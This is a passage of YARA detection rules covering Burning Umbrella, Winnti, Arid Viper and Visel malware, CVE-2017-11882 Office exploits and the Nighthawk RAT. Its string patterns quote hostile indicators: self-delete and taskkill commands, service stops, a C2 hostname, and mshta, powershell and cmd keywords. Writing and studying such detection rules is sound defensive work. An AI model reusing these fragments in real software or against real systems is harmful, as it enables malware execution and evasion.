		hash = "416155124784b3c374137befec9330cd56908e0e32c70312afa16f8220627a52"
		hash = "21899e226502fe63b066c51d76869c4ec5dbd03570551cea657d1dd5c97e7070"
		hash = "0461830e811d3831818dac5a67d4df736b4dc2e8fb185da439f9338bdb9f69c3"
		hash = "773edc71d52361454156dfd802ebaba2bb97421ce9024a7798dcdee3da747112"
		hash = "fe53b9d820adf3bcddf42976b8af1411e87d9dfd9aa479f12b2db50a5600f348"
		id = "eb91e700-6478-5085-a393-a7b342c0eb4f"

	condition:
		uint16( 0 ) == 0x5A4D and ( pe.imphash ( ) == "afcdf79be1557326c854b6e20cb900a7" or pe.imphash ( ) == "6ed4f5f04d62b18d96b26d6db7c18840" or pe.imphash ( ) == "fc6683d30d9f25244a50fd5357825e79" or pe.imphash ( ) == "2c5f2513605e48f2d8ea5440a870cb9e" or pe.imphash ( ) == "0b5552dccd9d0a834cea55c0c8fc05be" ) and pe.number_of_signatures == 0
}

import "pe"

rule MAL_BurningUmbrella_Sample_1
{
	meta:
		description = "Detects malware sample from Burning Umbrella report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://401trg.pw/burning-umbrella/"
		date = "2018-05-04"
		hash1 = "fcfe8fcf054bd8b19226d592617425e320e4a5bb4798807d6f067c39dfc6d1ff"
		id = "9f8a6831-172b-5310-9763-43657b79b91d"

	strings:
		$s1 = { 40 00 00 E0 75 68 66 61 6F 68 6C 79 }
		$s2 = { 40 00 00 E0 64 6A 7A 66 63 6D 77 62 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 4000KB and ( pe.imphash ( ) == "baa93d47220682c04d92f7797d9224ce" and $s1 in ( 0 .. 1024 ) and $s2 in ( 0 .. 1024 ) )
}

rule MAL_BurningUmbrella_Sample_2
{
	meta:
		description = "Detects malware sample from Burning Umbrella report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://401trg.pw/burning-umbrella/"
		date = "2018-05-04"
		hash1 = "801a64a730fc8d80e17e59e93533c1455686ca778e6ba99cf6f1971a935eda4c"
		id = "926b4a29-ce47-559b-94e3-1fabd90f3fbe"

	strings:
		$s1 = { 40 00 00 E0 63 68 72 6F 6D 67 75 78 }
		$s2 = { 40 00 00 E0 77 62 68 75 74 66 6F 61 }
		$s3 = "ActiveX Manager" wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and $s1 in ( 0 .. 1024 ) and $s2 in ( 0 .. 1024 ) and $s3
}

rule MAL_BurningUmbrella_Sample_3
{
	meta:
		description = "Detects malware sample from Burning Umbrella report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://401trg.pw/burning-umbrella/"
		date = "2018-05-04"
		hash1 = "92efbecc24fbb5690708926b6221b241b10bdfe3dd0375d663b051283d0de30f"
		id = "b997822a-3f62-51b4-bd96-e780ffe60812"

	strings:
		$s1 = "HKEY_CLASSES_ROOT\\Word.Document.8\\shell\\Open\\command" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and 1 of them
}

import "pe"

rule MAL_BurningUmbrella_Sample_4
{
	meta:
		description = "Detects malware sample from Burning Umbrella report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://401trg.pw/burning-umbrella/"
		date = "2018-05-04"
		hash1 = "a1629e8abce9d670fdb66fa1ef73ad4181706eefb8adc8a9fd257b6a21be48c6"
		id = "3489f64b-7ebc-55b8-bd11-afaa719e572b"

	strings:
		$x1 = "dumpodbc.exe" fullword ascii
		$x2 = "photo_Bundle.exe" fullword ascii
		$x3 = "Connect 2 fails : %d,%s:%d" fullword ascii
		$x4 = "Connect fails 1 : %d %s:%d" fullword ascii
		$x5 = "New IP : %s,New Port: %d" fullword ascii
		$x6 = "Micrsoft Corporation. All rights reserved." fullword wide
		$x7 = "New ConFails : %d" fullword ascii
		$s1 = "cmd /c net stop stisvc" fullword ascii
		$s2 = "cmd /c net stop spooler" fullword ascii
		$s3 = "\\temp\\s%d.dat" ascii
		$s4 = "cmd /c net stop wuauserv" fullword ascii
		$s5 = "User-Agent: MyApp/0.1" fullword ascii
		$s6 = "%s->%s Fails : %d" fullword ascii
		$s7 = "Enter WorkThread,Current sock:%d" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 50KB and ( ( pe.exports ( "Print32" ) and 2 of them ) or 1 of ( $x* ) or 4 of them )
}

rule MAL_BurningUmbrella_Sample_6
{
	meta:
		description = "Detects malware sample from Burning Umbrella report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://401trg.pw/burning-umbrella/"
		date = "2018-05-04"
		hash1 = "49ef2b98b414c321bcdbab107b8fa71a537958fe1e05ae62aaa01fe7773c3b4b"
		id = "7198a734-fd54-5cb5-9966-b91796a415c7"

	strings:
		$s1 = "ExecuteFile=\"hidcon:nowait:\\\"Word\\\\r.bat\\\"\"" fullword ascii
		$s2 = "InstallPath=\"%Appdata%\\\\Microsoft\"" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and 1 of them
}

import "pe"

rule MAL_BurningUmbrella_Sample_7
{
	meta:
		description = "Detects malware sample from Burning Umbrella report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://401trg.pw/burning-umbrella/"
		date = "2018-05-04"
		hash1 = "a4ce3a356d61fbbb067e1430b8ceedbe8965e0cfedd8fb43f1f719e2925b094a"
		hash2 = "a8bfc1e013f15bc395aa5c047f22ff2344c343c22d420804b6d2f0a67eb6db64"
		hash3 = "959612f2a9a8ce454c144d6aef10dd326b201336a85e69a604e6b3892892d7ed"
		id = "7e427512-a8ee-53ae-a141-e995e74ca845"

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and pe.imphash ( ) == "f5b113d6708a3927b5cc48f2215fcaff"
}

rule MAL_BurningUmbrella_Sample_8
{
	meta:
		description = "Detects malware sample from Burning Umbrella report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://401trg.pw/burning-umbrella/"
		date = "2018-05-04"
		hash1 = "73270fe9bca94fead1b5b38ddf69fae6a42e574e3150d3e3ab369f5d37d93d88"
		id = "1b89d5a1-1425-5cb7-b429-563769bc0943"

	strings:
		$s1 = "cmd /c open %s" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and 1 of them
}

rule MAL_BurningUmbrella_Sample_10
{
	meta:
		description = "Detects malware sample from Burning Umbrella report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://401trg.pw/burning-umbrella/"
		date = "2018-05-04"
		hash1 = "70992a72412c5d62d003a29c3967fcb0687189d3290ebbc8671fa630829f6694"
		hash2 = "48f0bbc3b679aac6b1a71c06f19bb182123e74df8bb0b6b04ebe99100c57a41e"
		hash3 = "5475ae24c4eeadcbd49fcd891ce64d0fe5d9738f1c10ba2ac7e6235da97d3926"
		id = "e4cb2211-efbe-55f9-99e3-c01601904509"

	strings:
		$s1 = "revjj.syshell.org" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule MAL_BurningUmbrella_Sample_11
{
	meta:
		description = "Detects malware sample from Burning Umbrella report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://401trg.pw/burning-umbrella/"
		date = "2018-05-04"
		hash1 = "278e9d130678615d0fee4d7dd432f0dda6d52b0719649ee58cbdca097e997c3f"
		id = "9762c68c-4d69-5d38-aaf4-0048e7404147"

	strings:
		$s1 = "Resume.app/Contents/Java/Resume.jarPK" fullword ascii

	condition:
		uint16( 0 ) == 0x4b50 and filesize < 700KB and 1 of them
}

import "pe"

rule MAL_BurningUmbrella_Sample_12
{
	meta:
		description = "Detects malware sample from Burning Umbrella report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://401trg.pw/burning-umbrella/"
		date = "2018-05-04"
		hash1 = "b9aba520eeaf6511877c1eec5f7d71e0eea017312a104f30d3b8f17c89db47e8"
		id = "805a00e7-2959-53d8-b769-0f8e54e1bbd5"

	strings:
		$s1 = "%SystemRoot%\\System32\\qmgr.dll" fullword ascii
		$s2 = "rundll32.exe %s,Startup" fullword ascii
		$s3 = "nvsvcs.dll" fullword wide
		$s4 = "SYSTEM\\CurrentControlSet\\services\\BITS\\Parameters" fullword ascii
		$s5 = "http://www.sginternet.net 0" fullword ascii
		$s6 = "Microsoft Corporation. All rights reserved." fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 80KB and ( pe.exports ( "SvcServiceMain" ) and 5 of them )
}

import "pe"

rule MAL_BurningUmbrella_Sample_13
{
	meta:
		description = "Detects malware sample from Burning Umbrella report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://401trg.pw/burning-umbrella/"
		date = "2018-05-04"
		hash1 = "d31374adc0b96a8a8b56438bbbc313061fd305ecee32a12738dd965910c8890f"
		hash2 = "c74a8e6c88f8501fb066ae07753efe8d267afb006f555811083c51c7f546cb67"
		id = "38c73425-bbdd-5b74-8ad4-5e0052039dd8"

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and pe.imphash ( ) == "75f201aa8b18e1c4f826b2fe0963b84f"
}

rule MAL_BurningUmbrella_Sample_14
{
	meta:
		description = "Detects malware sample from Burning Umbrella report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://401trg.pw/burning-umbrella/"
		date = "2018-05-04"
		hash1 = "388ef4b4e12a04eab451bd6393860b8d12948f2bce12e5c9022996a9167f4972"
		id = "a2b3a4bb-ca60-5dc2-8124-17e654e326b8"

	strings:
		$s1 = "C:\\tmp\\Google_updata.exe" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 40KB and 1 of them
}

import "pe"

rule MAL_BurningUmbrella_Sample_15
{
	meta:
		description = "Detects malware sample from Burning Umbrella report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://401trg.pw/burning-umbrella/"
		date = "2018-05-04"
		hash1 = "be6bea22e909bd772d21647ffee6d15e208e386e8c3c95fd22816c6b94196ae8"
		hash2 = "72a8fa454f428587d210cba0e74735381cd0332f3bdcbb45eecb7e271e138501"
		hash3 = "9cc38ea106efd5c8e98c2e8faf97c818171c52fa3afa0c4c8f376430fa556066"
		hash4 = "1a4a64f01b101c16e8b5928b52231211e744e695f125e056ef7a9412da04bb91"
		hash5 = "3cd42e665e21ed4815af6f983452cbe7a4f2ac99f9ea71af4480a9ebff5aa048"
		id = "4dc840c1-e6fa-5b21-bfcd-ef07cd85272a"

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 50KB and pe.imphash ( ) == "cc33b1500354cf785409a3b428f7cd2a"
}

rule MAL_BurningUmbrella_Sample_16
{
	meta:
		description = "Detects malware sample from Burning Umbrella report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://401trg.pw/burning-umbrella/"
		date = "2018-05-04"
		hash1 = "58bb3859e02b8483e9f84cc56fbd964486e056ef28e94dd0027d361383cc4f4a"
		id = "8b1970bd-571e-5c53-9170-1605c69d9d6d"

	strings:
		$s1 = "http://netimo.net 0" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500KB and all of them
}

rule MAL_BurningUmbrella_Sample_17
{
	meta:
		description = "Detects malware sample from Burning Umbrella report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://401trg.pw/burning-umbrella/"
		date = "2018-05-04"
		hash1 = "fa380dac35e16da01242e456f760a0e75c2ce9b68ff18cfc7cfdd16b2f4dec56"
		hash2 = "854b64155f9ceac806b49f3e352949cc292e5bc33f110d965cf81a93f78d2f07"
		hash3 = "1e462d8968e8b6e8784d7ecd1d60249b41cf600975d2a894f15433a7fdf07a0f"
		hash4 = "3cdc149e387ec4a64cce1191fc30b8588df4a2947d54127eae43955ce3d08a01"
		hash5 = "a026b11e15d4a81a449d20baf7cbd7b8602adc2644aa4bea1e55ff1f422c60e3"
		id = "d79d3f65-f27c-582b-9258-7c84dc7682a6"

	strings:
		$s1 = "syshell" fullword wide
		$s2 = "Normal.dotm" fullword ascii
		$s3 = "Microsoft Office Word" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and all of them
}

import "pe"

rule MAL_BurningUmbrella_Sample_18
{
	meta:
		description = "Detects malware sample from Burning Umbrella report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://401trg.pw/burning-umbrella/"
		date = "2018-05-04"
		hash1 = "d8df60524deb6df4f9ddd802037a248f9fbdd532151bb00e647b233e845b1617"
		hash2 = "c55cb6b42cfabf0edf1499d383817164d1b034895e597068e019c19d787ea313"
		hash3 = "32144ba8370826e069e5f1b6745a3625d10f50a809f3f2a72c4c7644ed0cab03"
		hash4 = "ae616003d85a12393783eaff9778aba20189e423c11c852e96c29efa6ecfce81"
		hash5 = "95b6e427883f402db73234b84a84015ad7f3456801cb9bb19df4b11739ea646d"
		hash6 = "1419ba36aae1daecc7a81a2dfb96631537365a5b34247533d59a70c1c9f58da2"
		hash7 = "6a5a9b0ae10ce6a0d5e1f7d21d8ea87894d62d0cda00db005d8d0de17cae7743"
		hash8 = "74e348068f8851fec1b3de54550fe09d07fb85b7481ca6b61404823b473885bb"
		hash9 = "adb9c2fe930fae579ce87059b4b9e15c22b6498c42df01db9760f75d983b93b2"
		hash0 = "23f28b5c4e94d0ad86341c0b9054f197c63389133fcd81dd5e0cf59f774ce54b"
		id = "d08f4676-ff28-59be-9fd4-b5a824e577d9"

	strings:
		$s1 = "c:\\tmp\\tran.exe" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and ( pe.imphash ( ) == "11675b4db0e7df7b29b1c1ef6f88e2e1" or pe.imphash ( ) == "364e1f68e2d412db34715709c68ba467" or pe.exports ( "deKernel" ) or 1 of them )
}

rule MAL_BurningUmbrella_Sample_19
{
	meta:
		description = "Detects malware sample from Burning Umbrella report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://401trg.pw/burning-umbrella/"
		date = "2018-05-04"
		hash1 = "05e2912f2a593ba16a5a094d319d96715cbecf025bf88bb0293caaf6beb8bc20"
		hash2 = "e7bbdb275773f43c8e0610ad75cfe48739e0a2414c948de66ce042016eae0b2e"
		id = "8ab55e80-5d28-5a5f-a1cc-725ba6720e4b"

	strings:
		$s1 = "Cryption.dll" fullword ascii
		$s2 = "tran.exe" fullword ascii
		$s3 = "Kernel.dll" fullword ascii
		$s4 = "Now ready to get the file %s!" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and 3 of them
}

import "pe"

rule MAL_BurningUmbrella_Sample_20
{
	meta:
		description = "Detects malware sample from Burning Umbrella report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://401trg.pw/burning-umbrella/"
		date = "2018-05-04"
		modified = "2023-01-06"
		hash1 = "5c12379cd7ab3cb03dac354d0e850769873d45bb486c266a893c0daa452aa03c"
		hash2 = "172cd90fd9e31ba70e47f0cc76c07d53e512da4cbfd197772c179fe604b75369"
		hash3 = "1ce88e98c8b37ea68466657485f2c01010a4d4a88587ba0ae814f37680a2e7a8"
		id = "1a39a76a-31e2-5d6e-82cb-ea38d503b6a9"

	strings:
		$s1 = "Wordpad.Document.1\\shell\\open\\command\\" wide
		$s2 = "%s\\shell\\Open\\command" fullword wide
		$s3 = "expanding computer" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500KB and ( pe.imphash ( ) == "bac338bfe2685483c201e15eae4352d5" or 2 of them )
}

rule MAL_BurningUmbrella_Sample_21
{
	meta:
		description = "Detects malware sample from Burning Umbrella report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://401trg.pw/burning-umbrella/"
		date = "2018-05-04"
		hash1 = "4b7b9c2a9d5080ccc4e9934f2fd14b9d4e8f6f500889bf9750f1d672c8724438"
		id = "2193e4b6-b71c-5031-8e43-fdd7177ad05c"

	strings:
		$s1 = "c:\\windows\\ime\\setup.exe" fullword ascii
		$s2 = "ws.run \"later.bat /start\",0Cet " fullword ascii
		$s3 = "del later.bat" fullword ascii
		$s4 = "mycrs.xls" fullword ascii
		$a1 = "-el -s2 \"-d%s\" \"-p%s\" \"-sp%s\"" fullword ascii
		$a2 = "<set ws=wscript.createobject(\"wscript.shell\")" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500KB and 2 of them
}

rule MAL_BurningUmbrella_Sample_22
{
	meta:
		description = "Detects malware sample from Burning Umbrella report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://401trg.pw/burning-umbrella/"
		date = "2018-05-04"
		hash1 = "fa116cf9410f1613003ca423ad6ca92657a61b8e9eda1b05caf4f30ca650aee5"
		id = "90c6cda9-95a0-5de7-b1cd-110c238d993d"

	strings:
		$s1 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\" ascii
		$s3 = "Content-Disposition: form-data; name=\"txt\"; filename=\"" fullword ascii
		$s4 = "Fail To Enum Service" fullword ascii
		$s5 = "Host Power ON Time" fullword ascii
		$s6 = "%d Hours %2d Minutes %2d Seconds " fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and 4 of them
}

rule MAL_AirdViper_Sample_Apr18_1
{
	meta:
		description = "Detects Arid Viper malware sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2018-05-04"
		hash1 = "9f453f1d5088bd17c60e812289b4bb0a734b7ad2ba5a536f5fd6d6ac3b8f3397"
		id = "00f118d1-be1c-5f50-a50f-591f824a1a53"

	strings:
		$x1 = "cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del \"%s\"" fullword ascii
		$x2 = "daenerys=%s&" ascii
		$x3 = "betriebssystem=%s&anwendung=%s&AV=%s" ascii
		$s1 = "Taskkill /IM  %s /F &  %s" fullword ascii
		$s2 = "/api/primewire/%s/requests/macKenzie/delete" fullword ascii
		$s3 = "\\TaskWindows.exe" ascii
		$s4 = "MicrosoftOneDrives.exe" fullword ascii
		$s5 = "\\SeanSansom.txt" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 6000KB and ( 1 of ( $x* ) or 4 of them )
}

rule MAL_Winnti_Sample_May18_1
{
	meta:
		description = "Detects malware sample from Burning Umbrella report - Generic Winnti Rule"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://401trg.pw/burning-umbrella/"
		date = "2018-05-04"
		hash1 = "528d9eaaac67716e6b37dd562770190318c8766fa1b2f33c0974f7d5f6725d41"
		id = "c2f3339e-269f-5a51-8db6-06e54a707b3a"

	strings:
		$s1 = "wireshark" fullword wide
		$s2 = "procexp" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

import "pe"

rule MAL_Visel_Sample_May18_1
{
	meta:
		description = "Detects Visel malware sample from Burning Umbrella report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://401trg.pw/burning-umbrella/"
		date = "2018-05-04"
		hash1 = "35db8e6a2eb5cf09cd98bf5d31f6356d0deaf4951b353fc513ce98918b91439c"
		id = "a244461a-380c-56e6-a891-131f6e13c280"

	strings:
		$s2 = "print32.dll" fullword ascii
		$s3 = "c:\\a\\b.txt" fullword ascii
		$s4 = "\\temp\\s%d.dat" wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and ( pe.exports ( "szFile" ) or 2 of them )
}

rule rtf_cve2017_11882_ole : malicious exploit cve_2017_11882
{
	meta:
		author = "John Davison"
		description = "Attempts to identify the exploit CVE 2017 11882"
		reference = "https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about"
		sample = "51cf2a6c0c1a29abca9fd13cb22421da"
		score = 60
		id = "b6c59cf1-52e4-5c9e-b3c3-d973d52736e3"

	strings:
		$headers = { 1c 00 00 00 02 00 ?? ?? a9 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 03 01 01 03 ?? }
		$font = { 0a 01 08 5a 5a }
		$winexec = { 12 0c 43 00 }

	condition:
		all of them and @font > @headers and @winexec == @font + 5 + 44
}

rule rtf_cve2017_11882 : malicious exploit cve_2017_1182
{
	meta:
		author = "John Davison"
		description = "Attempts to identify the exploit CVE 2017 11882"
		reference = "https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about"
		sample = "51cf2a6c0c1a29abca9fd13cb22421da"
		score = 60
		id = "b6c59cf1-52e4-5c9e-b3c3-d973d52736e3"

	strings:
		$headers = { 31 63 30 30 30 30 30 30  30 32 30 30 ?? ?? ?? ??
                     61 39 30 30 30 30 30 30  ?? ?? ?? ?? ?? ?? ?? ??
                     ?? ?? ?? ?? ?? ?? ?? ??  ?? ?? ?? ?? ?? ?? ?? ??
                     ?? ?? ?? ?? ?? ?? ?? ??  30 33 30 31 30 31 30 33
                     ?? ?? }
		$font = { 30 61 30 31 30 38 35 61  35 61 }
		$winexec = { 31 32 30 63 34 33 30 30 }

	condition:
		all of them and @font > @headers and @winexec == @font + ( ( 5 + 44 ) * 2 )
}

rule packager_cve2017_11882
{
	meta:
		author = "Rich Warren"
		description = "Attempts to exploit CVE-2017-11882 using Packager"
		reference = "https://github.com/rxwx/CVE-2017-11882/blob/master/packager_exec_CVE-2017-11882.py"
		score = 60
		id = "57ff395e-e56a-5e63-bde6-f3cef038fcd6"

	strings:
		$font = { 30 61 30 31 30 38 35 61  35 61 }
		$equation = { 45 71 75 61 74 69 6F 6E 2E 33 }
		$package = { 50 61 63 6b 61 67 65 }
		$header_and_shellcode = /03010[0,1][0-9a-fA-F]{108}00/ ascii nocase

	condition:
		uint32be( 0 ) == 0x7B5C7274 and all of them
}

rule CVE_2017_11882_RTF
{
	meta:
		description = "Detects suspicious Microsoft Equation OLE contents as used in CVE-2017-11882"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2018-02-13"
		score = 60
		id = "400689ff-e856-5cbf-a7fa-93f6a8d8dbb9"

	strings:
		$x1 = "4d534854412e4558452068747470"
		$x2 = "6d736874612e6578652068747470"
		$x3 = "6d736874612068747470"
		$x4 = "4d534854412068747470"
		$s1 = "4d6963726f736f6674204571756174696f6e20332e30" ascii
		$s2 = "4500710075006100740069006f006e0020004e00610074006900760065" ascii
		$s3 = "2e687461000000000000000000000000000000000000000000000"

	condition:
		( uint32be( 0 ) == 0x7B5C7274 or uint32be( 0 ) == 0x7B5C2A5C ) and filesize < 300KB and ( 1 of ( $x* ) or 2 of them )
}

rule EXP_potential_CVE_2017_11882
{
	meta:
		author = "ReversingLabs"
		reference = "https://www.reversinglabs.com/newsroom/news/reversinglabs-yara-rule-detects-cobalt-strike-payload-exploiting-cve-2017-11882.html"
		id = "199710e0-5094-5940-ad29-f01383d5d8c2"

	strings:
		$docfilemagic = { D0 CF 11 E0 A1 B1 1A E1 }
		$equation1 = "Equation Native" wide ascii
		$equation2 = "Microsoft Equation 3.0" wide ascii
		$mshta = "mshta"
		$http = "http://"
		$https = "https://"
		$cmd = "cmd" fullword
		$pwsh = "powershell"
		$exe = ".exe"
		$address = { 12 0C 43 00 }

	condition:
		uint16( 0 ) == 0xcfd0 and $docfilemagic at 0 and any of ( $mshta , $http , $https , $cmd , $pwsh , $exe ) and any of ( $equation1 , $equation2 ) and $address
}

import "pe"

rule EXT_HKTL_Nighthawk_RAT
{
	meta:
		description = "Detects Nighthawk RAT"
		author = "Frank Boldewin (@r3c0nst)"
		references = "https://www.proofpoint.com/us/blog/threat-insight/nighthawk-and-coming-pentest-tool-likely-gain-threat-actor-notice"
		hash1 = "0551ca07f05c2a8278229c1dc651a2b1273a39914857231b075733753cb2b988"
		hash2 = "9a57919cc5c194e28acd62719487c563a8f0ef1205b65adbe535386e34e418b8"
		hash3 = "38881b87826f184cc91559555a3456ecf00128e01986a9df36a72d60fb179ccf"
		hash4 = "f3bba2bfd4ed48b5426e36eba3b7613973226983a784d24d7a20fcf9df0de74e"
		hash5 = "b775a8f7629966592cc7727e2081924a7d7cf83edd7447aa60627a2b67d87c94"
		modified = "2022-11-30"
		date = "2022-11-22"
		id = "7a58b8bf-fb14-5758-bc2a-ad2c6fff1216"

	strings:
		$pattern1 = { 48 8d 0d ?? ?? ?? ?? 51 5a 48 81 c1 ?? ?? ?? ?? 48 81 c2 ?? ?? ?? ?? ff e2 }
		$pattern2 = { 66 03 D2 66 33 D1 66 C1 E2 02 66 33 D1 66 23 D0 0F B7 C1 }
		$pattern3 = { FF 7F 48 3B F0 48 0F 47 F0 48 8D }
		$pattern4 = { 65 48 8B 04 25 30 00 00 00 8B 40 68 49 89 CA 0F 05 C3 }
		$pattern5 = { 48 B8 AA AA AA AA AA AA AA 02 48 ?? ?? ?? ?? 0F 84 }
		$pattern6 = { 65 48 8B 04 25 30 00 00 00 48 8B 80 }

	condition:
		uint16( 0 ) == 0x5A4D and filesize < 2MB and ( 3 of ( $pattern* ) or ( pe.section_index ( ".profile" ) and pe.section_index ( ".detourc" ) and pe.section_index ( ".detourd" ) ) )
}

rule HKTL_MAL_Nighthawk_Nov_2022_1 : nighthawk beacon
{
	meta:
		description = "Detect the Nighthawk dropped beacon"
		author = "Arkbird_SOLG"
		reference = "https://web.archive.org/web/20221125224850/https://www.proofpoint.com/us/blog/threat-insight/nighthawk-and-coming-pentest-tool-likely-gain-threat-actor-notice"
		date = "2022-11-22"
		hash1 = "0551ca07f05c2a8278229c1dc651a2b1273a39914857231b075733753cb2b988"
		hash2 = "9a57919cc5c194e28acd62719487c563a8f0ef1205b65adbe535386e34e418b8"
		hash3 = "f3bba2bfd4ed48b5426e36eba3b7613973226983a784d24d7a20fcf9df0de74e"
		score = 75
		id = "a46d5034-e8e3-5c30-90d9-ea97b8384341"

	strings:
		$s1 = { 44 8b ff 45 33 c0 48 8d 15 [2] 0a 00 48 8d 4d c0 e8 [2] ff ff 45 33 c0 48 8d 15 [2] 0a 00 48 8d 4d 20 e8 [2] ff ff 45 33 c0 48 8d 15 [2] 0a 00 48 8d 4d 00 e8 [2] ff ff 45 33 c0 48 8d 15 [2] 0a 00 48 8d 4d e0 e8 [2] ff ff 33 d2 e9 ee 04 00 00 48 8d 44 24 68 48 89 44 24 20 41 b9 01 00 00 00 45 33 c0 48 8d 95 a0 00 00 00 ff 15 [2] 09 00 85 c0 0f 85 74 04 00 00 48 89 7c 24 28 48 89 7c 24 20 45 33 c9 45 33 c0 48 8d 15 [2] 0a 00 48 8b 4c 24 68 ff 15 [2] 09 00 85 }
		$s2 = { 4d 85 c0 0f 84 83 00 00 00 49 21 18 33 d2 44 8d 43 01 33 c9 ff 15 [2] 08 00 48 8b f0 48 85 c0 74 6a 44 8d 43 04 48 8b d5 48 8b c8 ff 15 [2] 08 00 48 8b e8 48 85 c0 74 49 48 8d 44 24 70 33 d2 44 8d 4b 24 48 89 44 24 20 4c 8d 44 24 30 48 8b cd ff 15 [2] 08 00 8b }
		$s3 = { 48 85 c0 0f 84 [2] 00 00 4d 8b cc 49 83 7c 24 18 08 72 04 4d 8b 0c 24 4d 8b c5 49 83 7d 18 08 72 04 4d 8b 45 00 49 8b ?? 49 83 ?? 18 08 72 03 49 8b }
		$s4 = { 44 8b 44 24 44 4c 89 [2-3] 89 95 00 02 00 00 2b c7 8b d7 49 03 d0 48 03 d1 4c 8d 8d 00 02 00 00 44 8b c0 49 8b cf ff 15 [2] 04 00 33 d2 85 c0 0f 84 [2] ff ff 03 bd 00 02 00 00 8b 44 24 40 3b f8 48 8b 4d ?? 4c 8b }

	condition:
		uint16( 0 ) == 0x5A4D and filesize > 60KB and all of ( $s* )
}

rule Trojan_Win32_PlaSrv : Platinum
{
	meta:
		author = "Microsoft"
		description = "Hotpatching Injector"
